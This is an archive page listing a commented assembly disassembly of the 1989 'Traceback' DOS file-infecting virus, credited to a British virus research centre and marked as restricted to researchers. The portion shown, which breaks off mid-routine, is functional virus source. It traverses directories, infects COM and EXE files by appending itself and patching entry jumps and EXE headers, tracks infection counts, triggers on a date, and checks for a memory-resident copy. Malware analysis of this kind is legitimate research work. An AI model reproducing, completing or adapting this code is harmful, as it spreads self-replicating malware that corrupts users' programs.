home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TRACEBCK.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  40KB  |  1,304 lines

  1.     page    65,132
  2.     title    The 'Traceback' Virus
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                          The 'Traceback' Virus                           ║
  9. ; ║                Disassembled by Joe Hirst,      June  1989                ║
  10. ; ║                                                                          ║
  11. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  18.  
  19. BOOT    SEGMENT AT 0
  20.  
  21.     ORG    24H
  22. BW0024    DW    ?            ; Int 9 offset
  23. BW0026    DW    ?            ; Int 9 segment
  24.  
  25.     ORG    70H
  26. BW0070    DW    ?            ; Int 1CH offset
  27. BW0072    DW    ?            ; Int 1CH segment
  28.  
  29.     ORG    80H
  30. BD0080    EQU    THIS DWORD
  31. BW0080    DW    ?            ; Int 20H offset
  32. BW0082    DW    ?            ; Int 20H segment
  33. BW0084    DW    ?            ; Int 21H offset
  34. BW0086    DW    ?            ; Int 21H segment
  35.  
  36.     ORG    90H
  37. BW0090    DW    ?            ; Int 24H offset
  38. BW0092    DW    ?            ; Int 24H segment
  39.  
  40.     ORG    9CH
  41. BD009C    EQU    THIS DWORD
  42. BW009C    DW    ?            ; Int 27H offset
  43. BW009E    DW    ?            ; Int 27H segment
  44.  
  45.     ORG    449H
  46. BB0449    DB    ?            ; Current VDU mode
  47.  
  48. BOOT    ENDS
  49.  
  50. CODE    SEGMENT BYTE PUBLIC 'CODE'
  51.     ASSUME CS:CODE,DS:CODE
  52.  
  53. DW0000    DW    02EEBH            ; \ Stored start of host program
  54. DB0002    DB    090H            ; /
  55. DB0003    DB    0FFH
  56. DB0004    DB    0FBH            ; Infection countdown
  57. DD0005    EQU    THIS DWORD
  58. DW0005    DW    100H
  59. DW0007    DW    0CBBH
  60. DW0009    DW    4DH
  61. DB000B    DB    0, 0
  62. DB000D    DB    0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH
  63. DB0014    DB    'o - Copyright S & S E', 29 DUP (0)
  64. CURDIR    DB    0, 'PLIC', 60 DUP (0)    ; Current directory
  65. DTAFLE    DB    3, '????????COM ', 2, 0, 0, 0, 'c:\m '
  66.     DB    1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0
  67.     DB    'COMMAND.COM', 3 DUP (0)
  68. DTADIR    DB    1, '???????????', 10H, 5, 7 DUP (0)
  69.     DB    20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0
  70.     DB    'CAT-TWO.ARC', 0, 0, 0
  71. DB00DF    DB    0
  72. SEGREG    DW    0AEBH
  73. PTHDSK    DB    2            ; Pathname drive
  74. CURDSK    DB    2            ; Current disk
  75. ATTR_F    DW    0020H            ; File attributes
  76. TIME_F    DW    22B6H            ; File time
  77. DATE_F    DW    1174H            ; File date
  78. I24_OF    DW    04EBH            ; Old Int 24H offset
  79. I24_SG    DW    0A17H            ; Old Int 24H segment
  80. CRTERR    DB    0            ; Critical error flag
  81. F_HAND    DW    0            ; File handle
  82. F_TIME    DW    5951H            ; File time
  83. F_DATE    DW    0F8BH            ; File date
  84. F_ATTR    DW    0020H            ; File attributes
  85. V_SIGN    DB    056H, 047H, 031H    ; Virus signature
  86.  
  87.     ; Entry point
  88.  
  89. BP0010:    JMP    SHORT BP0020
  90.  
  91.     DW    SIGNAT
  92.  
  93. BP0020:    CALL    BP0640            ; Get relocation constant in SI
  94.     CALL    BP0600            ; Set Int 24H vector
  95.     MOV    AH,19H            ; Get current disk function
  96.     INT    21H            ; DOS service
  97.     MOV    PTH_OF[SI],SI         ; \ Address of pathname
  98.     ADD    PTH_OF[SI],OFFSET DB0884 ; /
  99.     MOV    PTH_SG[SI],CS        ; Segment of pathname
  100.     MOV    CURDSK[SI],AL        ; Save current disk
  101.     CALL    BP0510            ; Get installed virus segment
  102.     MOV    DL,PTHDSK[DI]        ; Get pathname drive in installed virus
  103.     MOV    AX,DS            ; Get segment in installed virus
  104.     PUSH    CS            ; \ Set DS to CS
  105.     POP    DS            ; /
  106.     JNZ    BP0030            ; Branch if not installed
  107.     MOV    PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus
  108.     MOV    PTH_SG[SI],AX        ; Segment in installed virus
  109.     CMP    DL,0FFH            ; Is there a pathname drive?
  110.     JE    BP0030            ; Branch if not
  111.     MOV    AH,0EH            ; Select disk function
  112.     INT    21H            ; DOS service
  113. BP0030:    MOV    BYTE PTR SWTCHB[SI],80H    ; Set on switch eight
  114.     MOV    F_HAND[SI],0        ; Clear file handle
  115.     MOV    AH,2AH            ; Get date function
  116.     INT    21H            ; DOS service
  117.     CMP    CX,07C4H        ; Is year 1988?
  118.     JGE    BP0040            ; Branch if not before
  119.     JMP    SHORT BP0070
  120.  
  121. PTH_OF    DW    0F8CH            ; Offset of pathname
  122. PTH_SG    DW    0AEBH            ; Segment of pathname
  123. ISWTCH    DB    0            ; Infected file switch
  124.  
  125.     ; 1988 or later
  126.  
  127. BP0040:    JG    BP0050            ; Branch if after 1988
  128.     CMP    DH,0CH            ; Is month December?
  129.     JL    BP0070            ; Branch if not
  130.     CMP    DL,5            ; 5th of December?
  131.     JL    BP0070            ; Branch if before
  132.     CMP    DL,1CH            ; 28th of December?
  133.     JL    BP0060            ; Branch if before
  134. BP0050:    MOV    DSPCNT[SI],0FFDCH    ; Start display count (60 mins)
  135.     MOV    BYTE PTR SWTCHB[SI],88H    ; Switches four & eight
  136. BP0060:    CMP    DB0004[SI],0F8H        ; Has infection count reached target?
  137.     JNB    BP0080            ; Branch if not
  138.     ASSUME    DS:NOTHING
  139. BP0070:    MOV    CRTERR[SI],0        ; Clear critical error flag
  140.     JMP    BP0270
  141.  
  142.     ; Unreachable code
  143.  
  144.     ASSUME    DS:CODE
  145.     CMP    DB0004[SI],0F8H        ; Has infection count reached target?
  146.     JNB    BP0080            ; Branch if not
  147.     OR    BYTE PTR SWTCHB[SI],4    ; Set on switch three
  148.  
  149. BP0080:    MOV    DB00DF[SI],0        ; Set not-first-time switch off
  150.     MOV    DX,PTH_OF[SI]        ; Get pathname offset
  151.     MOV    DS,PTH_SG[SI]        ; Get pathname segment
  152.     MOV    AX,4300H        ; Get attributes function
  153.     CALL    BP0230            ; Perform a DOS service
  154.     JB    BP0090            ; Branch if error
  155.     ASSUME    DS:NOTHING
  156.     MOV    F_ATTR[SI],CX        ; Save file attributes
  157.     AND    CL,0FEH            ; Switch off read-only
  158.     MOV    AX,4301H        ; Set attributes function
  159.     CALL    BP0230            ; Perform a DOS service
  160.     JB    BP0090            ; Branch if error
  161.     MOV    AX,3D02H        ; Open handle R/W function
  162.     INT    21H            ; DOS service
  163.     JB    BP0090            ; Branch if error
  164.     PUSH    CS            ; \ Set DS to CS
  165.     POP    DS            ; /
  166.     ASSUME    DS:CODE
  167.     MOV    F_HAND[SI],AX        ; Save file handle
  168.     MOV    BX,AX            ; Move file handle
  169.     MOV    AX,5700H        ; Get file date and time function
  170.     INT    21H            ; DOS service
  171.     MOV    F_TIME[SI],CX        ; Save file time
  172.     MOV    F_DATE[SI],DX        ; Save file date
  173.     DEC    DB0004[SI]        ; Decrement infection count
  174.     MOV    DX,FLENLO[SI]        ; Get file length, low word
  175.     MOV    CX,FLENHI[SI]        ; Get file length, high word
  176.     ADD    DX,OFFSET DB0004    ; \ Add to length
  177.     ADC    CX,0            ; /
  178.     MOV    AX,4200H        ; Move file pointer (start) function
  179.     INT    21H            ; DOS service
  180. BP0090:    PUSH    CS            ; \ Set DS to CS
  181.     POP    DS            ; /
  182.     TEST    BYTE PTR SWTCHB[SI],4    ; Test switch three
  183.     JZ    BP0100            ; Branch if off
  184.     CALL    BP0330            ; Write infection count
  185.     JMP    BP0270
  186.  
  187.     ; Change directory to root
  188.  
  189. BP0100:    XOR    DL,DL            ; Default drive
  190.     MOV    AH,47H            ; Get current directory function
  191.     PUSH    SI
  192.     ADD    SI,46H            ; Address directory store
  193.     INT    21H            ; DOS service
  194.     POP    SI
  195.     CMP    CRTERR[SI],0        ; Test critical error flag
  196.     JNE    BP0110            ; Branch if set
  197.     CALL    BP0250            ; Make root dir current dir
  198.     JNB    BP0120            ; Branch if no error
  199. BP0110:    JMP    BP0070
  200.  
  201.     ; Find COM files
  202.  
  203. BP0120:    MOV    DX,SI            ; \ Address DTA area
  204.     ADD    DX,OFFSET DTAFLE    ; /
  205.     MOV    AH,1AH            ; Set DTA function
  206.     INT    21H            ; DOS service
  207.     MOV    [SI+5],'.*'        ; \
  208.     MOV    [SI+7],'OC'        ;  ) '*.COM'
  209.     MOV    WORD PTR [SI+9],'M'    ; /
  210.     MOV    AH,4EH            ; Find first file function
  211.     MOV    DX,SI            ; \ Address file spec
  212.     ADD    DX,5            ; /
  213. BP0130:    MOV    CX,0020H        ; Attributes - archive
  214.     CALL    BP0230            ; Perform a DOS service
  215.     JB    BP0160            ; Move on to EXE files
  216.     MOV    DX,SI            ; \ Address filename in DTA
  217.     ADD    DX,OFFSET DTAFLE+1EH    ; /
  218.     MOV    ISWTCH[SI],0        ; Set infected file switch off
  219.     CALL    BP0350            ; Process file
  220.     JB    BP0150            ; Error or infected file found
  221.     CALL    BP0330            ; Write infection count
  222. BP0140:    JMP    BP0260
  223.  
  224. BP0150:    CMP    CRTERR[SI],0        ; Test critical error flag
  225.     JNE    BP0140            ; Branch if set
  226.     CMP    ISWTCH[SI],0        ; Test infected file switch
  227.     JNE    BP0200            ; Branch if on
  228.     MOV    AH,4FH            ; Find next file function
  229.     JMP    BP0130
  230.  
  231.     ; Find EXE files
  232.  
  233. BP0160:    MOV    [SI+7],'XE'        ; \ '*.EXE'
  234.     MOV    WORD PTR [SI+9],'E'    ; /
  235.     MOV    AH,4EH            ; Find first file function
  236.     MOV    DX,SI            ; \ Address file spec
  237.     ADD    DX,5            ; /
  238. BP0170:    MOV    CX,0020H        ; Attributes - archive
  239.     CALL    BP0230            ; Perform a DOS service
  240.     JB    BP0200            ; No more files
  241.     MOV    DX,SI            ; \ Address filename in DTA
  242.     ADD    DX,OFFSET DTAFLE+1EH    ; /
  243.     MOV    ISWTCH[SI],0        ; Set infected file switch off
  244.     CALL    BP0350            ; Process file
  245.     JB    BP0190            ; Error or infected file found
  246.     CALL    BP0330            ; Write infection count
  247. BP0180:    JMP    BP0260
  248.  
  249.     ASSUME    DS:NOTHING
  250. BP0190:    CMP    CRTERR[SI],0        ; Test critical error flag
  251.     JNE    BP0180            ; Branch if set
  252.     ASSUME    DS:CODE
  253.     CMP    ISWTCH[SI],0        ; Test infected file switch
  254.     JNE    BP0200            ; Branch if on
  255.     MOV    AH,4FH            ; Find next file function
  256.     JMP    BP0170
  257.  
  258. BP0200:    CALL    BP0250            ; Make root dir current dir
  259.     MOV    DX,SI            ; \ Address 2nd DTA
  260.     ADD    DX,OFFSET DTADIR    ; /
  261.     MOV    AH,1AH            ; Set DTA function
  262.     INT    21H            ; DOS service
  263. BP0210:    MOV    AH,4FH            ; Find next file function
  264.     MOV    CX,0010H        ; Find directories
  265.     CMP    DB00DF[SI],0        ; First time?
  266.     JNE    BP0220            ; Branch if not
  267.     MOV    DB00DF[SI],1        ; Set not-first-time switch
  268.     MOV    [SI+5],'.*'        ; \ '*.*'
  269.     MOV    WORD PTR [SI+7],'*'    ; /
  270.     MOV    AH,4EH            ; Find first file function
  271.     MOV    DX,SI            ; \ Address file spec
  272.     ADD    DX,5            ; /
  273. BP0220:    CALL    BP0230            ; Perform a DOS service
  274.     JB    BP0260            ; No more files
  275.     TEST    DTADIR[SI+15H],10H    ; Is it a directory?
  276.     JZ    BP0210            ; Branch if not
  277.     MOV    DX,SI            ; \ Address file name in DTA
  278.     ADD    DX,OFFSET DTADIR+1EH    ; /
  279.     MOV    AH,3BH            ; Change current directory function
  280.     CALL    BP0230            ; Perform a DOS service
  281.     JB    BP0260            ; Branch if error
  282.     JMP    BP0120            ; Look for COM files
  283.  
  284.     ; Perform a DOS service
  285.  
  286. BP0230:    INT    21H            ; DOS service
  287.     JB    BP0240            ; Branch if error
  288.     ASSUME    DS:NOTHING
  289.     TEST    CRTERR[SI],0FFH        ; Test critical error flag
  290.     JZ    BP0240            ; Branch if not set
  291.     STC
  292. BP0240:    RET
  293.  
  294.     ; Make root dir current dir
  295.  
  296. BP0250:    MOV    WORD PTR [SI+5],'\'    ; Root dir
  297.     MOV    DX,SI            ; \ Address root dir pathname
  298.     ADD    DX,5            ; /
  299.     MOV    AH,3BH            ; Change current directory function
  300.     CALL    BP0230            ; Perform a DOS service
  301.     RET
  302.  
  303.     ASSUME    DS:CODE
  304. BP0260:    CALL    BP0250            ; Make root dir current dir
  305.     MOV    DX,SI            ; \ Address
  306.     ADD    DX,46H            ; /
  307.     MOV    AH,3BH            ; Change current directory function
  308.     INT    21H            ; DOS service
  309. BP0270:    MOV    BX,F_HAND[SI]        ; Get file handle
  310.     OR    BX,BX            ; Test for a handle
  311.     JZ    BP0290            ; Branch if none
  312.     MOV    CX,F_ATTR[SI]        ; Get file attributes
  313.     MOV    DX,PTH_OF[SI]        ; Get pathname offset
  314.     MOV    DS,PTH_SG[SI]        ; Get pathname segment
  315.     CMP    CX,20H            ; Are attributes archive?
  316.     JE    BP0280            ; Branch if yes
  317.     MOV    AX,4301H        ; Set attributes function
  318.     INT    21H            ; DOS service
  319. BP0280:    PUSH    CS            ; \ Set DS to CS
  320.     POP    DS            ; /
  321.     MOV    CX,F_TIME[SI]        ; Get file time
  322.     MOV    DX,F_DATE[SI]        ; Get file date
  323.     MOV    AX,5701H        ; Set file date and time function
  324.     INT    21H            ; DOS service
  325.     MOV    AH,3EH            ; Close handle function
  326.     INT    21H            ; DOS service
  327. BP0290:    MOV    DL,CURDSK[SI]        ; Get current disk
  328.     MOV    AH,0EH            ; Select disk function
  329.     INT    21H            ; DOS service
  330.     CALL    BP0610            ; Restore Int 24H vector
  331.     POP    AX            ; ? 
  332.     MOV    SEGREG[SI],AX        ; Save segment
  333.     CMP    BYTE PTR [SI+3],0FFH    ; Should virus be installed?
  334.     JE    BP0300            ; Branch if yes
  335.     ADD    AX,0010H        ; Add PSP length to segment
  336.     ADD    WORD PTR [SI+2],AX    ; Store segment
  337.     POP    AX            ; ?
  338.     POP    DS            ; ?
  339.     JMP    DWORD PTR CS:[SI]    ; Branch to ?
  340.  
  341.     ; Install resident copy of virus
  342.  
  343. BP0300:    CALL    BP0510            ; Get installed virus segment
  344.     PUSH    CS            ; \ Set DS to CS
  345.     POP    DS            ; /
  346.     MOV    AX,[SI]            ; \ Replace first word of host
  347.     MOV    DW0000+100H,AX        ; /
  348.     MOV    AL,[SI+2]        ; \ Replace third byte of host
  349.     MOV    DB0002+100H,AL        ; /
  350.     JZ    BP0310            ; Branch if installed
  351.     MOV    BX,DS            ; Get current segment
  352.     ADD    BX,01D0H        ; Add length of installed segment
  353.     MOV    ES,BX            ; Segment to copy to
  354.     MOV    DI,SI            ; Start of virus
  355.     MOV    DX,SI            ; Copy relocation factor
  356.     MOV    CX,OFFSET ENDADR    ; Length of virus
  357.     CALL    BP1160            ; Copy virus and transfer control
  358.     MOV    CX,DX            ; Relocation factor (as length)
  359.     MOV    SI,DX            ; Relocation factor as source
  360.     DEC    SI            ; Back one byte
  361.     MOV    DI,SI            ; Same offset as target
  362.     STD                ; Going backwards
  363.     REPZ    MOVSB            ; Copy host program
  364.     PUSH    DS            ; \ Set ES to DS
  365.     POP    ES            ; /
  366.     MOV    DI,0100H        ; Target following PSP
  367.     MOV    DS,BX            ; Current segment as source
  368.     MOV    SI,DX            ; Start of virus
  369.     MOV    CX,OFFSET ENDADR    ; Length of virus
  370.     CALL    BP1160            ; Copy virus and transfer control
  371.     MOV    SI,0100H        ; New relocation factor
  372.     PUSH    CS            ; \ Set DS to CS
  373.     POP    DS            ; /
  374.     CALL    BP0580            ; Install interrupts
  375.     MOV    DX,01D0H        ; Get length of installed segment
  376. BP0310:    MOV    DI,CS            ; \ New segment for host
  377.     ADD    DI,DX            ; /
  378.     MOV    WORD PTR [SI+5],0100H    ; Host offset
  379.     MOV    [SI+7],DI        ; Host segment
  380.     POP    AX            ; ?
  381.     POP    DS            ; ?
  382.     MOV    DS,DI            ; \
  383.     MOV    ES,DI            ;  ) Set up other segment registers
  384.     MOV    SS,DI            ; /
  385.     XOR    BX,BX            ; Clear register
  386.     XOR    CX,CX            ; Clear register
  387.     XOR    BP,BP            ; Clear register
  388.     JMP    DWORD PTR CS:[SI+5]    ; Branch to host program
  389.  
  390.     ; Clear error flag and return
  391.  
  392.     ASSUME    DS:NOTHING
  393. BP0320:    MOV    CRTERR[SI],0        ; Clear critical error flag
  394.     RET
  395.  
  396.     ; Write infection count
  397.  
  398.     ASSUME    DS:CODE
  399. BP0330:    MOV    BX,F_HAND[SI]        ; Get file handle
  400.     OR    BX,BX            ; Test for a handle
  401.     JZ    BP0340            ; Branch if none
  402.     MOV    DX,SI            ; \ Address infection count
  403.     ADD    DX,OFFSET DB0004    ; /
  404.     MOV    CX,1            ; Length to write
  405.     MOV    AH,40H            ; Write handle function
  406.     INT    21H            ; DOS service
  407. BP0340:    RET
  408.  
  409.     ; Process file
  410.  
  411. BP0350:    PUSH    DX
  412.     MOV    AH,19H            ; Get current disk function
  413.     INT    21H            ; DOS service
  414.     ADD    AL,'A'            ; Convert to letter
  415.     MOV    AH,':'            ; Disk separator
  416.     MOV    WORD PTR DB0884[SI],AX    ; Disk in pathname
  417.     MOV    BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname
  418.     PUSH    SI
  419.     ADD    SI,OFFSET DB0884+3    ; Address next position in pathname
  420.     MOV    AH,47H            ; Get current directory function
  421.     MOV    DI,SI            ; Buffer area
  422.     XOR    DL,DL            ; Default drive
  423.     INT    21H            ; DOS service
  424.     POP    SI
  425.     DEC    DI            ; Back one character
  426. BP0360:    INC    DI            ; Next character
  427.     MOV    AL,[DI]            ; Get character
  428.     OR    AL,AL            ; Is it zero
  429.     JNZ    BP0360            ; Branch if not
  430.     POP    BX
  431.     MOV    BYTE PTR [DI],'\'    ; Store directory separator
  432.     INC    DI            ; Next position
  433.     MOV    DX,BX            ; Copy filename pointer
  434. BP0370:    MOV    AL,[BX]            ; Get character
  435.     MOV    [DI],AL            ; Store in pathname
  436.     INC    BX            ; Next input position
  437.     INC    DI            ; Next output position
  438.     OR    AL,AL            ; End of filename?
  439.     JNZ    BP0370            ; Next character if not
  440. BP0380:    MOV    AX,4300H        ; Get attributes function
  441.     CALL    BP0230            ; Perform a DOS service
  442.     JB    BP0320            ; Branch if error
  443.     ASSUME    DS:NOTHING
  444.     MOV    ATTR_F[SI],CX        ; Save attributes
  445.     AND    CX,00FEH        ; Set off read only
  446.     MOV    AX,4301H        ; Set attributes function
  447.     CALL    BP0230            ; Perform a DOS service
  448.     JB    BP0320            ; Branch if error
  449.     MOV    AX,3D02H        ; Open handle R/W function
  450.     CALL    BP0230            ; Perform a DOS service
  451.     JB    BP0320            ; Branch if error
  452.     MOV    BX,AX            ; Move handle
  453.     PUSH    DS
  454.     PUSH    DX
  455.     CALL    BP0400            ; Infect file if not infected
  456.     POP    DX
  457.     POP    DS
  458.     PUSHF
  459.     MOV    CX,ATTR_F[SI]        ; Get attributes
  460.     CMP    CX,20H            ; Archive only?
  461.     JE    BP0390            ; Branch if yes
  462.     MOV    AX,4301H        ; Set attributes function
  463.     INT    21H            ; DOS service
  464. BP0390:    MOV    CX,TIME_F[SI]        ; Get file time
  465.     MOV    DX,DATE_F[SI]        ; Get file date
  466.     MOV    AX,5701H        ; Set file date and time function
  467.     INT    21H            ; DOS service
  468.     MOV    AH,3EH            ; Close handle function
  469.     INT    21H            ; DOS service
  470.     POPF
  471.     RET
  472.  
  473.     ; Infect file if not infected
  474.  
  475. BP0400:    MOV    AX,5700H        ; Get file date and time function
  476.     INT    21H            ; DOS service
  477.     PUSH    CS            ; \ Set DS to CS
  478.     POP    DS            ; /
  479.     ASSUME    DS:CODE
  480.     MOV    TIME_F[SI],CX        ; Save file time
  481.     MOV    DATE_F[SI],DX        ; Save file date
  482.     MOV    DX,SI            ; \ Address buffer
  483.     ADD    DX,0DH            ; /
  484.     MOV    DI,DX            ; Copy this address
  485.     MOV    AH,3FH            ; Read handle function
  486.     MOV    CX,001CH        ; EXE header length
  487.     INT    21H            ; DOS service
  488.     CMP    WORD PTR [DI],'ZM'    ; EXE header?
  489.     JE    BP0430            ; Branch if yes
  490.     CALL    BP0500            ; Move pointer to end of file
  491.     ADD    AX,OFFSET SIGNAT+100H    ; Add length of virus
  492.     JB    BP0410            ; Branch if too big for a COM
  493.     CMP    BYTE PTR [DI],0E9H    ; Does it start with a near jump?
  494.     JNE    BP0420            ; Branch if not
  495.     MOV    DX,[DI+1]        ; Get displacement from jump
  496.     XOR    CX,CX            ; Clear top 
  497.     MOV    AX,4200H        ; Move file pointer (start) function
  498.     INT    21H            ; DOS service
  499.     MOV    DX,DI            ; Read buffer
  500.     ADD    DX,001CH        ; Add length of EXE header
  501.     MOV    AH,3FH            ; Read handle function
  502.     MOV    CX,3            ; Length to read
  503.     INT    21H            ; DOS service
  504.     CALL    BP0440            ; Test virus signature on file
  505.     JNB    BP0420            ; Branch if not present
  506.     ASSUME    DS:NOTHING
  507.     MOV    ISWTCH[SI],1        ; Set infected file switch on
  508. BP0410:    RET
  509.  
  510.     ASSUME    DS:CODE
  511. BP0420:    CALL    BP0500            ; Move pointer to end of file
  512.     MOV    FLENLO[SI],AX        ; Save file length, low word
  513.     MOV    FLENHI[SI],DX        ; Save file length, high word
  514.     PUSH    AX
  515.     MOV    WORD PTR [DI+3],0FFFFH    ; Initialise count
  516.     MOV    CX,5            ; Length to write
  517.     MOV    AH,40H            ; Write handle function
  518.     MOV    DX,DI            ; Address start of buffer
  519.     INT    21H            ; DOS service
  520.     MOV    DX,SI            ; \ Address start of virus
  521.     ADD    DX,5            ; /
  522.     MOV    CX,OFFSET SIGNAT    ; Length of virus
  523.     MOV    AH,40H            ; Write handle function
  524.     INT    21H            ; DOS service
  525.     MOV    AX,4200H        ; Move file pointer (start) function
  526.     XOR    CX,CX            ; \ No displacement
  527.     XOR    DX,DX            ; /
  528.     INT    21H            ; DOS service
  529.     MOV    BYTE PTR [DI],0E9H    ; Near jump instruction
  530.     POP    AX            ; Recover length of file
  531.     ADD    AX,OFFSET BP0010-3    ; Jump offset to entry point
  532.     MOV    [DI+1],AX        ; Store in jump instruction
  533.     MOV    DX,DI            ; Address of jump instruction
  534.     MOV    CX,3            ; Length to write
  535.     MOV    AH,40H            ; Write handle function
  536.     INT    21H            ; DOS service
  537.     CLC
  538.     RET
  539.  
  540.     ; EXE file
  541.  
  542. BP0430:    CMP    WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum?
  543.     JNE    BP0450            ; Branch if not
  544.     PUSH    SI
  545.     MOV    SI,[DI+14H]        ; Get initial offset
  546.     MOV    CX,[DI+16H]        ; Get initial segment
  547.     MOV    AX,CX            ; Copy segment
  548.     MOV    CL,CH            ; Move top byte down
  549.     XOR    CH,CH            ; Clear top
  550.     SHR    CX,1            ; \
  551.     SHR    CX,1            ;  \ Move top nibble into position
  552.     SHR    CX,1            ;  /
  553.     SHR    CX,1            ; /
  554.     SHL    AX,1            ; \
  555.     SHL    AX,1            ;  \ Move rest of segment
  556.     SHL    AX,1            ;  /
  557.     SHL    AX,1            ; /
  558.     ADD    SI,AX            ; \ Add to offset
  559.     ADC    CX,0            ; /
  560.     SUB    SI,3            ; \ Subtract length of signature
  561.     SBB    CX,0            ; /
  562.     MOV    AX,[DI+8]        ; Get size of header
  563.     CALL    BP0490            ; Move segment to two-register offset
  564.     ADD    SI,AX            ; \ Add to starting position
  565.     ADC    CX,DX            ; /
  566.     MOV    DX,SI            ; Move low word
  567.     POP    SI
  568.     MOV    AX,4200H        ; Move file pointer (start) function
  569.     INT    21H            ; DOS service
  570.     MOV    DX,DI            ; Address buffer
  571.     ADD    DX,001CH        ; Add length of EXE header
  572.     MOV    AH,3FH            ; Read handle function
  573.     MOV    CX,3            ; Length to read
  574.     INT    21H            ; DOS service
  575.     CALL    BP0440            ; Test virus signature on file
  576.     JNB    BP0480            ; Branch if not present
  577.     ASSUME    DS:NOTHING
  578.     MOV    ISWTCH[SI],1        ; Set infected file switch on
  579.     RET
  580.  
  581.     ; Test virus signature on file
  582.  
  583. BP0440:    CMP    WORD PTR [DI+1CH],4756H    ; Look for virus signature
  584.     JNE    BP0470            ; Branch if not found
  585.     CMP    BYTE PTR [DI+1EH],31H    ; Look for rest of signature
  586.     JNE    BP0470            ; Branch if not found
  587. BP0450:    STC
  588. BP0460:    RET
  589.  
  590. BP0470:    CLC
  591.     RET
  592.  
  593.     ; Infect EXE file
  594.  
  595.     ASSUME    DS:CODE
  596. BP0480:    CALL    BP0500            ; Move pointer to end of file
  597.     MOV    FLENLO[SI],AX        ; Save file length, low word
  598.     MOV    FLENHI[SI],DX        ; Save file length, high word
  599.     MOV    CX,[DI+4]        ; Get size of file in pages
  600.     SHL    CX,1            ; Multiply by two
  601.     XCHG    CH,CL            ; Reverse bytes
  602.     MOV    BP,CX            ; Copy
  603.     AND    BP,0FF00H        ; Convert to bytes (low word)
  604.     XOR    CH,CH            ; Convert to bytes (high word)
  605.     ADD    BP,[DI+6]        ; \ Add number of relocation entries
  606.     ADC    CX,0            ; /
  607.     SUB    BP,AX            ; \ Subtract current length
  608.     SBB    CX,DX            ; /
  609.     JB    BP0460            ; Branch if overlay
  610.     PUSH    AX            ; Save length of host, low word
  611.     PUSH    DX            ; Save length of host, high word
  612.     PUSH    [DI+18H]        ; Save offset to relocation table
  613.     MOV    BYTE PTR [DI+18H],0FFH    ; Original entry address marker
  614.     MOV    CX,5            ; Length to write
  615.     MOV    AH,40H            ; Write handle function
  616.     MOV    DX,DI            ; \ Address host entry address
  617.     ADD    DX,14H            ; /
  618.     INT    21H            ; DOS service
  619.     POP    [DI+18H]        ; Recover offset to relocation table
  620.     MOV    DX,SI            ; \ Address start of virus
  621.     ADD    DX,5            ; /
  622.     MOV    CX,OFFSET SIGNAT    ; Length of virus
  623.     MOV    AH,40H            ; Write handle function
  624.     INT    21H            ; DOS service
  625.     MOV    AX,4200H        ; Move file pointer (start) function
  626.     XOR    CX,CX            ; \ No displacement
  627.     XOR    DX,DX            ; /
  628.     INT    21H            ; DOS service
  629.     POP    [DI+16H]        ; Recover length of host, high word
  630.     POP    [DI+14H]        ; Recover length of host, low word
  631.     ADD    WORD PTR [DI+14H],00FAH    ; \ Add entry point
  632.     ADC    WORD PTR [DI+16H],0    ; /
  633.     MOV    AX,[DI+8]        ; Get size of header
  634.     CALL    BP0490            ; Move segment to two-register offset
  635.     SUB    [DI+14H],AX        ; \ Subtract size of header
  636.     SBB    [DI+16H],DX        ; /
  637.     MOV    CL,0CH            ; Bits to move
  638.     SHL    WORD PTR [DI+16H],CL    ; Convert high word to segment
  639.     MOV    AX,OFFSET ENDADR    ; Length of virus
  640.     ADD    AX,[DI+2]        ; Add bytes in last paragraph
  641.     MOV    [DI+2],AX        ; Store new figure
  642.     AND    [DI+2],01FFH        ; Set off top bits
  643.     MOV    AL,AH            ; Copy high byte
  644.     XOR    AH,AH            ; Clear top of register
  645.     SHR    AX,1            ; Divide by two
  646.     ADD    [DI+4],AX        ; Add to pages
  647.     MOV    DX,DI            ; Move address of EXE header
  648.     MOV    CX,001CH        ; EXE header length
  649.     MOV    AH,40H            ; Write handle function
  650.     INT    21H            ; DOS service
  651.     CLC
  652.     RET
  653.  
  654.     ; Move segment to two-register offset
  655.  
  656. BP0490:    XOR    DX,DX            ; Clear register
  657.     SHL    AX,1            ; \ Move double one bit
  658.     RCL    DX,1            ; /
  659.     SHL    AX,1            ; \ Move double one bit
  660.     RCL    DX,1            ; /
  661.     SHL    AX,1            ; \ Move double one bit
  662.     RCL    DX,1            ; /
  663.     SHL    AX,1            ; \ Move double one bit
  664.     RCL    DX,1            ; /
  665.     RET
  666.  
  667.     ; Move pointer to end of file
  668.  
  669. BP0500:    XOR    DX,DX            ; \ No displacement
  670.     XOR    CX,CX            ; /
  671.     MOV    AX,4202H        ; Move file pointer (EOF) function
  672.     INT    21H            ; DOS service
  673.     RET
  674.  
  675.     ; Get installed virus segment
  676.  
  677. BP0510:    XOR    AX,AX            ; \ Address zero
  678.     MOV    DS,AX            ; /
  679.     LDS    DI,BD009C        ; Load Int 27H vector
  680.     LDS    DI,[DI+1]        ; Get vector from far jump
  681.     MOV    AX,DI            ; Save offset
  682.     SUB    DI,OFFSET BP0780-V_SIGN    ; Address from jump to old Int 27H
  683.     CALL    BP0530            ; Test virus signature in memory
  684.     JZ    BP0520            ; Branch if found
  685.     MOV    DI,AX            ; Retrieve offset
  686.     SUB    DI,OFFSET BP0770-V_SIGN    ; Address from new Int 27H routine
  687.     CALL    BP0530            ; Test virus signature in memory
  688.     JZ    BP0520            ; Branch if found
  689.     LDS    DI,BD0080        ; Load Int 20H vector
  690.     LDS    DI,[DI+1]        ; Get vector from far jump
  691.     MOV    AX,DI            ; Save offset
